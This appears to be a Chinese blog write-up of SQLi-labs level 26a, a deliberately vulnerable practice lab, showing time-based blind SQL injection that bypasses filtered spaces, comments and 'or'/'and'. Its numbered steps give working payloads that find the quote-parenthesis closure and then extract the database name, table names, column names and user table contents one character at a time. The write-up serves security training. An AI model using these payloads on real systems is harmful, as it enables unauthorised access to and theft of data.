SQL-labs的第26a关——空格和注释被过滤 延时盲注(Get)

注意该关的or和and也被过滤了

1、判断闭合方式

输入语句

?id=1'

,返回页面如下:

我们猜测闭合符号是',再进行验证,输入语句

?id=1';%00

,返回页面如下:

依然报错,说明闭合符号除了'之外还有其他的符号,我们输入

?id=1');%00

,返回页面如下:

这说明闭合符号是')。

2、确定数据库名的长度

输入语句

?id=2')%26%26sleep(if(length(database())=8,0,2));%00

,对于这个语句,我们首先要知道,如果该数据库名的长度是8,那么页面的返回将没有任何的延迟,反之,将会有2秒的延迟之后才能看到返回的页面。

输入语句后无延迟,返回页面如下:

这说明数据库名的长度是8。

3、爆破数据库名

输入语句

?id=1')%26%26sleep(if((substr(database(),1,1)='s'),2,0));%00

,返回页面如下:

返回页面时延迟了2秒,所以数据库名的第一个单词是's'。通过修改substr(a,b,c)函数的第二个参数b,将它改为2,3,……这样就可以知道第2,3,……个字母是什么了,第三个参数c表示截取的字段的长度。这里是1。

4、爆破数据表名

输入语句

?id=1')%26%26sleep(if((substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),1,1)='e'),2,0));%00

,返回页面如下:

延迟了两秒,说明第一个字母是'e',注意的一点是:这里我们截取的是所有表名加上逗号所组成的字符串的第一个字母,','也是其中的字符,我们根据逗号将多个表名区分开。

5、爆破列名

输入语句

?id=1') %26%26 sleep(if((substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema=database()) %26%26(table_name='users')),1,1)='i'),2,0));%00

,返回页面如下:

6、爆破字段内容

输入语句

?id=1') %26%26sleep(if(substr((select (group_concat(id)) from (users)),1,1)='1',2,0));%00

,返回页面如下:

到此打靶结束

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hacker-小胖锅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值